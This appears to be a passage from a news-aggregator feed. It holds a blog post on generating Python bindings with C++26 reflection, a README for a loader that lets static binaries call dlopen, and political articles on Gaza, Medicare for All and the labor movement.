            return x * other.x + y * other.y + z * other.z;
        }
    
        // Compute the magnitude (norm) of the vector
        double length() const {
            return std::sqrt(x*x + y*y + z*z);
        }
    };
    

    To use this from Python:

    ./mirror_bridge_auto src/ --module vec3 -o .
    

    That’s it. No binding code. Mirror Bridge uses C++26 reflection to discover your classes, methods, and fields automatically.

    import vec3
    
    a = vec3.Vec3(1, 2, 3)
    b = vec3.Vec3(4, 5, 6)
    print(a.dot(b))  # 32.0
    

    The Naive Benchmark (And Why It’s Misleading)

    Let’s call dot() a million times:

    for _ in range(1_000_000):
        a.dot(b)
    

    Results (M3 Max MacBook Pro):

    Python class: 0.11s
    C++ via Mirror Bridge: 0.04s
    Speedup: 2.9x
    

    A ~3x speedup. Not bad, but not eye-popping. What’s going on?

    This benchmark can be somewhat misleading

    Each call from Python to C++ pays a toll - argument conversion, language boundary crossing, result conversion. For a trivial operation like dot() (3 multiplies, 2 adds), that toll dominates the actual work.

    This is like benchmarking a Ferrari by measuring how fast it can start and stop at every intersection. You’re measuring overhead, not speed.

    Dissecting the Cross-Language Barrier

    What actually happens when Python calls a C++ function? Let’s trace through a single a.dot(b) call:

    1. Method lookup. Python sees a.dot and searches for the dot attribute. It checks a.__dict__ , then type(a).__dict__ , walking up the MRO (Method Resolution Order). For our bound C++ class, this eventually finds a descriptor that wraps the C++ method.

    2. Argument boxing. Python passes b as a PyObject* - a pointer to a heap-allocated structure containing a reference count, type pointer, and the actual data. The binding layer (nanobind, in Mirror Bridge’s case) must extract the underlying C++ Vec3 from this Python wrapper.

    3. Type checking. Is b actually a Vec3 ? The binding layer verifies this at runtime. In pure C++, the compiler guarantees types at compile time - no runtime check needed.

    4. GIL management. The Global Interpreter Lock might need to be considered. For simple numeric operations we keep it held, but for longer operations you’d release it to allow other Python threads to run.

    5. The actual call. Finally, we call the C++ dot() method. This is the fast part - a few nanoseconds for 3 multiplies and 2 adds.

    6. Result conversion. The C++ double result must be wrapped in a Python float object - another heap allocation, reference count initialization, and type pointer setup.

    7. Return. Python receives a PyObject* pointing to the new float.

    For a function that does microseconds of work, this overhead is negligible. For a function that does nanoseconds of work - like our dot() - the overhead dominates. You’re spending more time crossing the border than doing actual computation.

    Why Is C++ Faster in the First Place?

    Even setting aside the cross-language overhead, why is C++ inherently faster for the same operation? Let’s look at what each language actually does for dot() :

    Python’s journey:

    def dot(self, other):
        return self.x*other.x + self.y*other.y + self.z*other.z
    

    Each attribute access ( self.x ) involves:

    • Dictionary lookup in self.__dict__
    • If not found, search the class hierarchy
    • Return a Python float object (heap-allocated, reference-counted)

    Each multiplication:

    • Check types of both operands at runtime
    • Dispatch to the appropriate __mul__ implementation
    • Allocate a new Python float for the result

    Each addition: same story. We can see this by looking at the Python bytecode:

    # Python bytecode for Vec3.dot() - run: python3 -c "import dis; dis.dis(Vec3.dot)"
      0 LOAD_FAST      0 (self)
      2 LOAD_ATTR      0 (x)      # dict lookup for self.x
      4 LOAD_FAST      1 (other)
      6 LOAD_ATTR      0 (x)      # dict lookup for other.x
      8 BINARY_MULTIPLY           # type check, dispatch, allocate result
     10 LOAD_FAST      0 (self)
     12 LOAD_ATTR      1 (y)      # dict lookup for self.y
     14 LOAD_FAST      1 (other)
     16 LOAD_ATTR      1 (y)      # dict lookup for other.y
     18 BINARY_MULTIPLY           # type check, dispatch, allocate result
     20 BINARY_ADD                # type check, dispatch, allocate result
     22 LOAD_FAST      0 (self)
     24 LOAD_ATTR      2 (z)      # dict lookup for self.z
     26 LOAD_FAST      1 (other)
     28 LOAD_ATTR      2 (z)      # dict lookup for other.z
     30 BINARY_MULTIPLY           # type check, dispatch, allocate result
     32 BINARY_ADD                # type check, dispatch, allocate result
     34 RETURN_VALUE
    

    That’s 18 bytecode instructions, each of which expands to many machine instructions. The LOAD_ATTR operations involve hash table lookups. The BINARY_* operations involve type checking and dynamic dispatch. By the end, we’ve done 6 attribute lookups, 5 arithmetic operations (each with type checks), and allocated several intermediate float objects.

    C++’s journey:

    double dot(const Vec3& other) const {
        return x * other.x + y * other.y + z * other.z;
    }
    

    The compiler knows at compile time:

    • x , y , z are double values at fixed offsets from this
    • other.x , other.y , other.z are at fixed offsets from &other
    • All operations are double * double and double + double

    Here’s the actual generated assembly (clang 18, -O3):

    call_dot(Vec3 const&, Vec3 const&):
      movsd xmm1, qword ptr [rdi]       ; load a.x
      movsd xmm0, qword ptr [rdi + 8]   ; load a.y
      mulsd xmm0, qword ptr [rsi + 8]   ; a.y * b.y
      mulsd xmm1, qword ptr [rsi]       ; a.x * b.x
      addsd xmm1, xmm0                  ; (a.x*b.x) + (a.y*b.y)
      movsd xmm0, qword ptr [rdi + 16]  ; load a.z
      mulsd xmm0, qword ptr [rsi + 16]  ; a.z * b.z
      addsd xmm0, xmm1                  ; add all three
      ret                                ; result in xmm0
    

    That’s it. Four memory loads (some folded into mulsd ), three multiplies, two adds, one return. No allocations. No type checks. No dictionary lookups. The entire function is 9 instructions.

    This is why the “naive” benchmark shows only 3x speedup instead of 100x: Python’s overhead for calling a function (even a Python function) is substantial, so replacing the implementation with C++ helps less than you’d expect. The win comes when you stop crossing the boundary repeatedly.

    The Real Benchmark: Surgical Optimization

    In practice, you don’t call C++ a million times from Python. You identify a hot loop and move the entire loop to C++.

    Imagine you have this in your Python codebase:

    def hot_loop(n):
        """This function showed up in your profiler."""
        direction = Vec3(1, 1, 1)
        dir_len = direction.length()  # Magnitude (norm) of direction vector
        total = 0.0
        for i in range(n):
            v = Vec3(i * 0.1, i * 0.2, i * 0.3)
            total += v.dot(direction) / dir_len
        return total
    

    It’s called from dozens of places. The Vec3 class is used throughout your codebase. You don’t want to rewrite everything - you just want this loop to go fast.

    So you write the C++ version:

    // Add to vec3.hpp
    struct Vec3 {
        // ... existing code ...
    
        static double hot_loop(int n) {
            Vec3 direction(1, 1, 1);
            double dir_len = direction.length();
            double total = 0.0;
            for (int i = 0; i < n; ++i) {
                Vec3 v(i * 0.1, i * 0.2, i * 0.3);
                total += v.dot(direction) / dir_len;
            }
            return total;
        }
    };
    

    Rebuild: ./mirror_bridge_auto src/ --module vec3 -o . --force

    Now benchmark:

    # Python version
    result = hot_loop(1_000_000)
    
    # C++ version - ONE call, all work happens in C++
    result = vec3.Vec3.hot_loop(1_000_000)
    

    Results (M3 Max MacBook Pro):

    Python: 0.26s
    C++:    0.004s
    Speedup: 67x
    

    That’s the real number. You pay the Python→C++ toll once. The loop runs at full native speed.

    Why Not Just Rewrite Everything in C++?

    Because you probably shouldn’t.

    Python gives you:

    • Rapid iteration (no compile step during development)
    • A massive ecosystem (PyTorch, pandas, requests, FastAPI…)
    • Readable glue code that connects everything
    • Easy onboarding for new team members

    The Pareto principle applies aggressively here. 80% of your runtime might come from 20% of your code. Often it’s even more skewed - a single hot loop can dominate everything.

    Mirror Bridge lets you surgically replace just the hot 20% with C++, keeping the other 80% in Python. You get:

    • Python’s ergonomics for the code that doesn’t need to be fast
    • C++ performance for the code that does
    • Zero binding boilerplate connecting them

    The Magic: C++26 Reflection

    Here’s where it gets interesting. How does Mirror Bridge discover your classes automatically?

    The answer is C++26 static reflection ( P2996 ) - a new language feature that lets code inspect itself at compile time.

    When you run mirror_bridge_auto , it generates code that looks something like this:

    // Auto-generated binding code (simplified)
    #include "vec3.hpp"
    #include <mirror_bridge.hpp>
    
    MIRROR_BRIDGE_MODULE(vec3,
        mirror_bridge::bind_class<Vec3>(m, "Vec3");
    )
    

    The magic is in bind_class<Vec3> . Using reflection, Mirror Bridge can ask the compiler:

    // What Mirror Bridge does internally
    constexpr auto type_info = ^Vec3;  // "reflection operator" - get metadata about Vec3
    
    // Get all members of Vec3
    constexpr auto members = std::meta::members_of(type_info);
    
    // Iterate over them AT COMPILE TIME
    template for (constexpr auto member : members) {
        // What's the name of this member?
        constexpr auto name = std::meta::identifier_of(member);
    
        // Is it public?
        if constexpr (std::meta::is_public(member)) {
    
            // Is it a function?
            if constexpr (std::meta::is_function(member)) {
                // Bind it as a Python method
                cls.def(name, /* pointer to member function */);
            }
    
            // Is it a data member?
            else if constexpr (std::meta::is_nonstatic_data_member(member)) {
                // Bind it as a Python attribute
                cls.def_readwrite(name, /* pointer to member */);
            }
        }
    }
    

    The ^ operator (called the “reflection operator”) takes a type and returns a compile-time value representing that type’s metadata. From there, std::meta functions let you query everything about it: members, their types, their names, whether they’re public, static, const, etc.

    This is fundamentally different from runtime reflection (like Java or C#). Everything happens at compile time:

    • Zero runtime overhead - the reflection queries are resolved during compilation
    • Full type safety - the compiler knows exact types, no casting or dynamic lookups
    • Works with templates - you can reflect on template instantiations

    Before P2996, generating Python bindings required either:

    1. Manual listing (pybind11) - tedious and error-prone
    2. Code parsing (SWIG) - fragile and limited
    3. Macros (Boost.Python) - ugly and inflexible

    Reflection gives us a fourth option: ask the compiler directly . It already knows everything about your types. Now we can access that knowledge programmatically.

    The Comparison

    For context, here’s what the traditional pybind11 approach requires:

    #include <pybind11/pybind11.h>
    #include "vec3.hpp"
    
    PYBIND11_MODULE(vec3, m) {
        py::class_<Vec3>(m, "Vec3")
            .def(py::init<double, double, double>())
            .def_readwrite("x", &Vec3::x)
            .def_readwrite("y", &Vec3::y)
            .def_readwrite("z", &Vec3::z)
            .def("dot", &Vec3::dot)
            .def("length", &Vec3::length)
            .def_static("hot_loop", &Vec3::hot_loop);
    }
    

    Every single method needs to be manually listed. And when you add a new one? Update the Python bindings. Forgot one? Silent failure at runtime.

    With Mirror Bridge: write C++, run command, done.

    Getting Started

    git clone https://github.com/FranciscoThiesen/mirror_bridge
    cd mirror_bridge
    ./start_dev_container.sh  # Pre-built Docker image with clang-p2996
    
    # Inside container - try the example from this post
    cd /workspace/examples/blog_vec3
    ../../mirror_bridge_auto . --module vec3 -o .
    python3 benchmark.py
    

    The examples/blog_vec3 directory contains all the code from this post, ready to run.

    The Docker image includes clang-p2996 , Bloomberg’s experimental Clang fork that implements the reflection proposal. As P2996 moves toward standardization, expect this to land in mainline compilers.

    The Bottom Line

    The next time you’re staring at a Python profiler, wondering if it’s worth the hassle to optimize that hot loop in C++, the answer is: yes, and it should take less than five minutes .

    Write the C++ version. Run mirror_bridge_auto . Replace the call. Ship it.


    Acknowledgments

    Mirror Bridge wouldn’t exist without the work of many others. Thanks to Wyatt Childers, Peter Dimov, Dan Katz, Barry Revzin, Andrew Sutton, Faisal Vali, and Daveed Vandevoorde for authoring and championing P2996. Special thanks to Dan Katz for maintaining the clang-p2996 branch that makes this all possible today.

    Herb Sutter’s CppCon 2025 talk on reflection was also a motivating force for this work, making the case of a common language to rule them all, which motivate me to try to make it easier for other languages to call C++.

    The idea of using reflection to generate Python bindings isn’t new - it was explored by others before, including in this ACCU 2025 talk . Mirror Bridge builds on these ideas and packages them into a tool you can use today.

    U.S.-Backed Ceasefire Is Cover for Ethnic Cleansing in Gaza & West Bank

    Portside
    portside.org
    2025-12-04 05:35:52
    U.S.-Backed Ceasefire Is Cover for Ethnic Cleansing in Gaza & West Bank Mark Brody Thu, 12/04/2025 - 00:35 ...
    Original Article

    AMY GOODMAN : Israel has announced it will reopen the Rafah border crossing between Gaza and Egypt in the next few days as part of the U.S.-brokered ceasefire. According to the World Health Organization, at least 16,500 sick and wounded people need to leave Gaza for medical care. However, the border will only open in one direction: for Palestinians to exit.

    Since the ceasefire began, at least 347 Palestinians have been killed in Gaza and 889 injured, according to the Gaza Health Ministry. In one recent incident, two children were killed by an Israeli drone for crossing the so-called yellow line, which isn’t always well marked. The children were brothers Fadi and Juma Abu Assi, the older of whom was 10 years old. They were gathering firewood for their disabled father. The Israeli military acknowledged the strike, saying, quote, “The Air Force eliminated the suspects in order to remove the threat,” unquote. Palestinians report Israeli forces continue to cross the yellow line on a near-daily basis.

    This week, a coalition of 12 Israeli human rights groups concluded in a new report that 2025 is already the deadliest and most destructive year for Palestinians since 1967. On Monday, Israeli forces killed two teenagers in the West Bank in separate attacks as they carried out raids across the territory. In Hebron, soldiers fatally shot 17-year-old Muhannad Tariq Muhammad al-Zughair, whom they accused of carrying out a car-ramming attack that injured an Israeli soldier. Elsewhere, 18-year-old Muhammad Raslan Mahmoud Asmar was shot during a raid on his village northwest of Ramallah. Witnesses say the teen was left to bleed out as Israeli forces barred Red Crescent medics from approaching. The soldiers then seized his lifeless body. Last week, the U.N. reported more than 1,000 Palestinians have been killed by Israeli settlers and soldiers in the occupied West Bank and East Jerusalem since October 7, 2023.

    This is Jeremy Laurence, spokesperson for the U.N. High Commissioner for Human Rights.

    JEREMY LAURENCE : Killings of Palestinians by Israeli security forces and settlers in the occupied West Bank have been surging, without any accountability, even in the rare case when investigations are announced. … Our office has verified that since the 7th of October, 2023, and up until the 27th of November of this year, Israeli forces and settlers killed 1,030 Palestinians in the occupied West Bank, including East Jerusalem. Among these victims were 223 children.

    AMY GOODMAN : For more, we’re joined in Ramallah, in the occupied West Bank, by Sari Bashi, an Israeli American human rights lawyer, former program director at Human Rights Watch. Her piece for The New York Review of Books is headlined “Gaza: The Threat of Partition.” She co-founded Gisha, the leading Israeli human rights group promoting the right to freedom of movement for Palestinians in Gaza.

    Sari, welcome back to Democracy Now! Let’s begin with the latest breaking news, that Israel in the next few days will open the Rafah border crossing, but only for Palestinians to go one way: out. What is your response?

    SARI BASHI : So, obviously, people need to leave. You mentioned the numbers, in thousands, of patients waiting to leave. There are also students who have been accepted to universities abroad. This is after all of Gaza’s universities have been destroyed. So, it’s half good news.

    But the bad news is that the Israeli announcement that it will not allow people to return to Gaza validates the fears that many have, that the ceasefire plan, the American plan and the Israeli plan, is essentially to continue the ethnic cleansing of Gaza. So, in Trump’s ceasefire plan, he committed to allowing Palestinians to return to Gaza, but that’s not what’s happening on the ground. There has been no construction authorized in the half of Gaza where Palestinians actually live. There has been no ability for people to come back home, and there are people who want to come back home.

    And life in Gaza is nearly impossible for people because of very, very bad conditions. Eighty-one percent of buildings have been destroyed. People are living in tents that are now flooding in the rains. And it is very difficult to get construction and other materials approved by the Israeli authorities.

    JUAN GONZÁLEZ: Sari, there have also been reports of secret evacuation flights from Gaza. Who is running these flights, and who determines who goes on those flights?

    SARI BASHI : I mean, that’s part of the problem. Early in the war, the Israeli government created what it calls the voluntary immigration administration, which is a secret, nontransparent government body that is supposed to encourage people from Gaza to leave, and make it possible for them to do so. There has been almost no transparency about what that organization is doing. There has been deliberate disinformation by Israeli ministers trying to amplify, artificially amplify, the number of people leaving Gaza to make people afraid. And there have been persistent reports about people paying large sums of money in order to leave, and that is after they have reportedly been asked to sign commitments not to return.

    On the other hand, there is a very clear statement in the Trump peace plan, which was incorporated into a U.N. Security Council resolution, that people in Gaza are to be allowed to return home. And it’s perhaps not surprising that following the Israeli announcement this morning that Rafah crossing would be opened for exit only, the Egyptian government reportedly issued an objection and said no. It reminded us that the U.S. had promised that people in Gaza would be allowed to come home, as well.

    JUAN GONZÁLEZ: And could you talk some about the situation in the West Bank, as we’ve reported these constant attacks by settlers and the military? What’s been the position of the Israeli government on this, and what role have the military played in these attacks?

    SARI BASHI : I mean, the concern is that the violence in Gaza, the violence in the West Bank, it’s not random. It’s directed toward ethnic cleansing. It’s directed toward getting Palestinians to leave. Certainly, that’s the case in Gaza, and the devastation and violence there are at a much higher scale than in the West Bank. But in the West Bank, too, just this year, we’ve had 2,000 Palestinians forcibly displaced from their homes through a combination of demolitions as well as settler violence. Every single day, Palestinians are injured or their property is damaged by settler attacks.

    And to be clear, settlers are Israeli civilians who have been unlawfully transferred to the occupied West Bank by the Israeli government and have been taking over land that belongs to Palestinians. In the last two years, they have become increasingly emboldened in attacking Palestinians, taking over their olive groves, their flocks, stealing, throwing fire bombs into their homes, to the point where, according to the U.N., in 2025, a thousand Palestinians have been injured by settler attacks.

    This is decentralized violence, but it is also state-sponsored violence. It is the government who put those settlers in the West Bank unlawfully, and quite often this violence takes place when Israeli soldiers either stand nearby and do nothing or even participate. The very ultranationalistic, messianic ideology has been infiltrated into the Israeli military, where you have soldiers whose job it is to protect everybody, including Palestinians, who are also settlers. And on the weekends, they come out in civilian clothing and attack and sometimes even kill Palestinians.

    AMY GOODMAN : And what about the Jewish and Israeli Jewish activists who stand alongside Palestinians to prevent the olive harvest from being destroyed, to prevent people from being attacked, the response of the Israeli military and the settlers?

    SARI BASHI : You know, it’s an indication of just how badly things have gotten, how many red lines have been crossed, because it used to be that Jewish settlers would be reluctant to attack Jews, because their ideology is racialized. They believe that they are acting in the name of the Jewish people. But recently, they have attacked Israeli Jews, as well, when Israeli Jews have come to accompany and be in solidarity with Palestinians.

    So, we just finished the olive harvest season. It’s a very important cultural and also economic event for Palestinians. And this year it was particularly violent, with Israeli settlers coming, attacking people as they try to harvest, cutting down and burning down trees, intimidating people. And there have been cases even where Israeli Jewish activists came to be a protective force by accompanying Palestinian harvesters, and they, too, were attacked and even taken to the hospital with injuries. It is much more dangerous to be a Palestinian than to be an Israeli Jew in the West Bank, but the fact that settlers are also attacking Jews is an indication of just how violent, messianic and ultranationalistic this movement has become.

    AMY GOODMAN : The death toll from Israel’s more than two-year assault on Gaza has been reported as 70,000. A new study from the Max Planck Institute for Demographic Research in Germany said the death toll likely exceeds 100,000. Our next guest, Ralph Nader, has talked about The Lancet report saying it’s probably hundreds of thousands. Life expectancy, says the Max Planck Institute, in Gaza fell by 44% in 2023, 47% in 2024. If you can talk about this? And also, what is going to happen in Gaza now, where the truce stands?

    SARI BASHI : I mean, the violence against people in Gaza has been unprecedented. It’s been genocidal. And, you know, we have confirmed 70,000 people whose names and ID numbers have been reported by their families to the Palestinian Ministry of Health. There are thousands more people believed to be buried under the rubble, and thousands or tens of thousands of people who died from indirect causes. So, these are people who, because of a deliberate policy of starvation, died of malnutrition, died of communicable diseases, died of want. And I don’t know that we will ever know how many people died indirectly. This is for a very small population. It’s a population of 2 million people.

    In Gaza right now, life has remained nearly impossible. The ceasefire promised reconstruction. It promised the crossings to be open. But the U.S. government introduced a number of caveats, and it actually, unfortunately, got those caveats approved by the U.N. Security Council. And an important caveat was that the reconstruction elements of the ceasefire would be limited to areas where Hamas had disarmed. And if the Israeli military was not able to disarm Hamas and other Palestinian armed groups in two years of war, it’s not clear how they’re going to be disarmed now. So, conditioning reconstruction on Hamas disarmament is basically saying reconstruction will be impossible.

    The only place where the U.S. has said it will allow reconstruction is in the more than 50% of Gaza that is directly occupied by Israel, that is off-limits to Palestinians on penalty of death. So, that doesn’t leave people in Gaza with any options. Six hundred thousand schoolchildren have no schools. The hospitals are barely functioning. There’s nowhere to live. A million-and-a-half people are in need of emergency shelter supplies. The concern is that the way the ceasefire is being implemented is only going to contribute to ethnic cleansing, because anybody who can leave Gaza will leave, because it’s very clear that there’s not a future being allowed there.

    And the United States has an opportunity to make good on its promise in two ways. First of all, it can make it clear that reconstruction has to be authorized in the part of Gaza where Palestinians live, not in the half of Gaza that’s off-limits to them. And second of all, it should demand, as per the ceasefire agreement, that Rafah be open in both directions, also to allow people to come home.

    JUAN GONZÁLEZ: And I wanted to ask you how the Israeli media is reporting both the breaches in the cease — the constant breaches in the ceasefire agreement, as well as the constant attacks on Palestinians in the West Bank. And what’s been the impact on public opinion since the ceasefire came into effect, Israeli public opinion?

    SARI BASHI : You know, I’m very sorry to say that there’s been a long-term trend of the Israeli media becoming more nationalistic and less critical. And that’s been matched by a number of government moves to coopt and take over both public and private media. So, particularly since October 7th, 2023, the Israeli media, with a few notable exceptions, has been reporting government propaganda uncritically. So, what you will hear in the Israeli media is that suspects were shot in Gaza for crossing the yellow line or approaching troops. You won’t hear that those suspects were 10- and 12-year-old boys who were collecting firewood, and that under international law, you can’t shoot children because they cross an invisible line. In the West Bank, you will hear that terrorists were taken out, when you mean ordinary civilians who were trying to harvest their olive trees. Haaretz and a few other media outlets have been offering a different view of what’s happening, a more realistic view. But right now many Israelis choose not to — not to see what’s happening either in the West Bank or Gaza. And interest in what’s happening in Gaza has gone way down since the majority of Israeli hostages have been freed.

    AMY GOODMAN : Sari Bashi, we want to thank you so much for being with us, Israeli American human rights lawyer, former program director at Human Rights Watch. We’ll link to your New York Review of Books article , “Gaza: The Threat of Partition.”

    foreign-dlopen: call dlopen from static programs

    Lobsters
    github.com
    2025-12-04 05:32:10
    Comments...
    Original Article

    foreign-dlopen

    Intro

    Calling dlopen() function from statically-linked binaries is a well-known (in narrow circles) problem * . A common approach is not supporting it at all. A usual explanation goes along the lines of:

    1. You usually link statically to exclude unneeded functions from the binary.
    2. But if you want to dynamically load a shared library, it likely itself is linked dynamically against libc (doing otherwise requires extra legwork, and if you have a few such shared libraries, themselves statically linked, you duplicate code in each).
    3. But that means you would need to carry around (big) libc.so, which undermines the original idea of static linking (you could link your app against dynamic libc and save space).
    4. Alternatively, you could link entire libc into your static executable, and export dynamic symbols ( ld --export-dynamic ). That avoids carriying around extra libc.so file, but again requires extra legwork. And it still undermines the original benefit of static linking, as your app will be the size of libc.so (+ your app's code).

    The summary is that if you want to use dlopen() from static binary, you would need to do extra legwork, and would lose benefits of static linking. Ergo, don't use dlopen() with static linking, use dynamic linking instead! And as no reasonable person would use dlopen() with static linking, let's remove dlopen() (and that's entire dynamic loader, quite a bloaty piece of code!) support from statically linked libc, to let people who really need static linking, reap the maximum benefits of it.

    Those are all very valid arguments, but they are all based on a "plugin" model: you have a common system, sharing a common libc.

    That's not the only usage model though. There's another model, which we'll call "FFI (Foreign Function Interface) model". It goes along the lines of:

    1. Suppose you have a perfect, closed world application. Statically linked of course.
    2. But you want to go out to dirty bustling outside world (in other words, let your application, or users of your appplication, to dlopen() outside shared libraries).
    3. There're absolutely no expectations or stipulations about which libc is used by those shared libraries. In particular, there's no expectations that libc of your application and external shared lib are the same. Or that you know which libc is used by external lib at all. For example, your static binary may be linked against musl libc, but you may want to load (allow to load) glibc bloat lying in abundance on a typical Linux system.

    Again, the only thing you want is to maintain your static perfect world, independent from outside hustle. But, at user discretion, you want to allow this hustling outside world into your address space, by means of dlopen().

    This cute project is a proof-of-concept solution for this usecase.

    References

    Details

    Implementation idea #1: a (custom) ELF loader. Problem: trying to implement "full" ELF loader (recursively load dependent .so, etc.) is prolematic, e.g. because glibc (libc.so) is tightly coupled with dynamic loader aka interpreter (ld.so). If you just load libc.so, and its dependency ld.so, a lot of stuff in ld.so will remain uninitialized, then libc.so will call into ld.so, which will crash. To properly initialize ld.so, it must be "run", i.e. execution should go into its entry point (and not just ELF INIT func). But when started that way, ld.so loads an executable, which then terminates.

    Idea #2: Make ld.so load an executable which will jump back into our custom loader. This way, both ld.so will be initialized, and we get back control. Coupled with setjmp/longjmp, this can be turned into a reusable library. Its structure is:

    1. Custom ELF loader, built against any libc or lack thereof. This should be simplified loader, without support for loading shared libs, etc. The only thing it needs to load is a "helper" target executable and its INTERP.
    2. It calls into INTERP, the call wrapped with setjmp . The corresponding longjmp is wrapped into a global func, whose address (in ascii) we pass as a command-line argument to the "helper" target binary.
    3. The "helper" binary should be linked against native libc of the target environment whose shared libs we want to load (e.g., glibc).
    4. Target binary is also linked agains target libc's libdl. The binary captures addresses of dlopen()/dlsym()/etc. funcs into an array, and performs function call into the address passed as a command-line arg, passing array as a function arg.
    5. That address is, as mentioned above, is a function which performs longjmp , after storing the passed dlopen() , etc. function addresses for future use.
    6. After longjmp, we're back to our application, which now has access to dlopen() , etc. of the target system.

    Building and running

    1. cd src
    2. Build target helper executable: make -f Makefile.fdlhelper . As explained above, it should be built against target system from which you want to load shared libs dynamically using dlopen(). (If you build this on a typical Linux system, it will be built against glibc.)
    3. Build static, stdlib-less sample application: make STDLIB=0 . (You must pass STDLIB=0 for full effect. By default, the sample is built against stdlib, which is helpful during development/debugging.)
    4. Run the sample: ./foreign_dlopen_demo . While it is static, it will dynamically load libc.so.6 and call printf() from it. (All this using fdlhelper executable built in a previous step.)

    Credits

    "Foreign dlopen" idea and implementation is by Paul Sokolovsky. The implementation is based on the ELF loader by Mikhail Ilyin: https://github.com/MikhailProg/elf , the original README of that project follows.


    ELF loader

    A small elf loader. It can load static and dynamically linked ELF EXEC and DYN (pie) binaries. The loader is PIE program that doesn't depend on libc and calls kernel services directly (z_syscall.c).

    If the loader needs to load a dynamically linked ELF it places an interpreter (usually ld.so) and a requested binary into a memory and then calls the interpreter entry point.

    Build

    Default build is for amd64:

    Build for i386:

    Small build (exclude all messages and printf):

    Load binaries

    Load ls:

    Load galculator:

    $ ./loader /usr/bin/galculator
    

    Show HN: A Minimal Monthly Task Planner (printable, offline, no signup)

    Hacker News
    printcalendar.top
    2025-12-04 05:29:51
    Comments...
    Original Article

    ‘We Must Stop Tinkering Around the Edges’: Van Hollen Makes Case for Medicare for All Amid ACA Fight

    Portside
    portside.org
    2025-12-04 05:22:24
    ‘We Must Stop Tinkering Around the Edges’: Van Hollen Makes Case for Medicare for All Amid ACA Fight Mark Brody Thu, 12/04/2025 - 00:22 ...
    Original Article
    ‘We Must Stop Tinkering Around the Edges’: Van Hollen Makes Case for Medicare for All Amid ACA Fight Published

    Senator Chris Van Hollen (D-Maryland) | Allison Bailey for The New York Times

    Democratic US Sen. Chris Van Hollen on Monday became the latest lawmaker to champion Medicare for All as the best solution to the country’s healthcare woes as tens of millions of Americans face soaring private insurance premiums.

    In a social media post, Van Hollen (D-Md.) said that “we must stop tinkering around the edges of a broken healthcare system,” pointing to massive administrative costs and poor health outcomes under the for-profit status quo.

    “Yes, let’s extend the [ Affordable Care Act ] tax credits to prevent a huge spike in healthcare costs for millions,” said Van Hollen. “Then, let’s finally create a system that puts your health over corporate profits. We need Medicare for All.”

    Van Hollen’s remarks came as lawmakers continued to negotiate a possible deal to extend enhanced ACA subsidies that are set to lapse at the end of the year, an outcome that would further drive up healthcare costs for millions.

    Politico reported late Monday that most senators “believe the chances for a bipartisan breakthrough” before a planned vote next week “are roughly zero.”

    “Instead, the most likely outcome is that Senate Democrats put up a bill that has little GOP support for a vote, if any, while Republicans offer a competing bill of their own,” the outlet noted. “And even those partisan proposals remained in flux as lawmakers returned to Washington from a weeklong recess.”

    Neither side of the negotiations is offering much more than a Band-Aid on a gaping wound. Democratic leaders want a clean extension of the subsidies to avert catastrophic cost increases , while President Donald Trump and Republican lawmakers are demanding new restrictions on the ACA that would make the system worse .

    A handful of progressive lawmakers have used the worsening US healthcare crisis to make the case for a fundamental overhaul , one that would replace the for-profit model with a Medicare for All system that guarantees coverage to everyone for free at the point of service—and at a lower overall cost than the current system.

    Van Hollen is the newest Senate cosponsor of the Medicare for All Act, formally backing the legislation led by Sen. Bernie Sanders (I-Vt.) just last month.

    Rep. Pramila Jayapal (D-Wash.), the lead sponsor of the Medicare for All Act in the House, expressed “100%” agreement with Van Hollen’s Monday post.

    “Thank you, Chris Van Hollen!” Jayapal wrote.

    Today’s Labor Movement Needs a Bigger Vision

    Portside
    portside.org
    2025-12-04 05:02:14
    Today’s Labor Movement Needs a Bigger Vision Mark Brody Thu, 12/04/2025 - 00:02 ...
    Original Article

    It is time for the labor movement to use its organization and resources to fight to stop this wave of repression. As part of that effort, labor needs to propose a freedom agenda for immigrants. | Photo: David Bacon

    [This article is part of a Labor Notes roundtable series: How Can Unions Defend Worker Power Against Trump 2.0? We will be publishing more contributions here and in our magazine in the months ahead. Click here to read the rest of the series. —Editors]

    During the Cold War, many of the people with a radical vision of the world were driven out of our labor movement. Today, as unions search for answers about how to begin growing again, and regain the power workers need to defend themselves, the question of social vision has become very important. What is our vision in labor? What are the issues that we confront today that form a more radical vision for our era?

    The labor movement needs a freedom agenda. When Zohran Mamdani spoke after his primary election victory in New York City, he declared, "We can be free and we can be fed." Mamdani is telling our unions and workers that we can reject the old politics of agreeing to war abroad and repression at home, in the hopes that at least some workers will gain.

    PEACE ECONOMY

    We don't have to go back to the CIO and the radicalism of the 1930s to find voices in labor calling for a radical break from the past.

    In the 1980s, while Reagan was President, William Winpisinger, president of the Machinists, told his members, thousands of whom worked in arms plants, that they would gain more from peace than from war. Under union pressure in 1992, Congress even passed a bill calling for redirecting a small part of military spending into conversion for a peacetime economy.

    One big part of that program is peace. Another is reordering our economic priorities.

    Right now working class people have to fight just to stay in the cities. They’re being driven out, and this has a disproportionate impact on workers of color. Unions and central labor councils need to look at economic development, and issues of housing and job creation. That would start to give us something we lack, a compelling vision.

    IMMIGRANT RIGHTS

    Since 2006 millions of people have gone into the streets on May Day. The marches in 2006 were the largest outpourings since the 1930s, when our modern labor movement was born. In one of the best things our labor movement has done, we began raising the expectations of immigrants when we passed the resolution in Los Angeles in 1999 changing labor’s position on immigration.

    We put forward a radical new program: amnesty, ending employer sanctions, reunification of families, protecting the rights of all people, especially the right to organize. That came as a result of an upsurge of organizing among immigrant workers themselves, and support from unions ranging from the United Electrical Workers to the Carpenters.

    Congress, however, has since moved to criminalize work and migration, and proposed huge guest worker programs. States have passed bills that are even worse.

    Mississippi, for instance, made it a state felony for an undocumented worker to hold a job, with prison terms of up to ten years. Florida has made it a crime to give an undocumented person a ride to a hospital. And administrations from Bush to Trump have implemented by executive order the enforcement and guest worker measures they couldn’t get through Congress.

    LABOR’S SILENCE

    When Democrats campaigned against Trump by accusing him of sabotaging an immigration bill that would have put billions of dollars into immigration enforcement, they prepared the way for Trump's onslaught once he was elected. Labor, which should have prepared our own members for the fight to come, stayed silent.

    In the wave of raids that have followed, hundreds of our own members have been taken, not just for deportation, but on bogus criminal charges or simply swept off the streets by masked agents. Unorganized workers have been terrorized by the raids—a gift to employers as workers are pressured to give up any hope of a union or a higher wage.

    Some unions today are part of the network fighting to protect workers and communities from immigration raids. SEIU California leader David Huerta faces misdemeanor federal charges after opposing ICE during a raid in Los Angeles' garment district.

    It is time for the labor movement to use its organization and resources to fight to stop this wave of repression. As part of that effort, labor needs to propose a freedom agenda for immigrants that will really give people rights and an equal status with other workers on the job, and their neighbors in their own communities.

